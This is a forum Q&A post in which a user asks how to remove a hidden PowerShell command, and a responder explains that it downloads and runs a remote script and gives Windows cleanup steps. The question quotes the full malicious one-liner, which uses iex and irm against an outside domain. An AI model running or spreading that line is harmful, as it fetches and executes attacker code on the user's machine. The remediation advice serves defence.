How do I remove powershell

Question

How do I remove the following from my system - powershell -w h "iex(irm 'authorization-code-cdn.info/6ff7d837942e98fc' -UseBasicParsing)"; exit <#6ff7d837942e98fc#>

Answer 1

The command you posted is not something that installs as a normal Windows application. It launches PowerShell in a hidden window (-w h), downloads a script from a remote website (irm = Invoke-RestMethod), executes it immediately (iex = Invoke-Expression), and then exits. If it ran successfully, the downloaded script may have created scheduled tasks, startup entries, services, registry Run keys, or other persistence mechanisms.

First, disconnect the computer from the network if you suspect the command has executed recently. Then run a full Microsoft Defender Offline scan (Windows Security > Virus & threat protection > Scan options > Microsoft Defender Offline scan) followed by a full scan after Windows restarts.

To look for common persistence mechanisms, run these PowerShell commands:

Get-ScheduledTask | Where-Object {$_.Actions.Execute -match "powershell|pwsh"}

Get-CimInstance Win32_StartupCommand

Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run

Get-Service | Where-Object {$_.PathName -match "powershell|pwsh"}

If you find an entry related to this command or the authorization-code-cdn.info domain, remove the corresponding scheduled task, startup item, service, or registry value. Also check your Downloads, Temp folders, and %ProgramData% for recently created scripts or executables.

Because the downloaded script could have made arbitrary changes, the safest option is to identify exactly what was executed. If you cannot determine that, or if Defender detects malware, treat the system as compromised and consider restoring from a known-good backup or reinstalling Windows.

---

If the above response helps answer your question, remember to "Accept Answer" so that others in the community facing similar issues can easily find the solution. Your contribution is highly appreciated.

hth

Marcin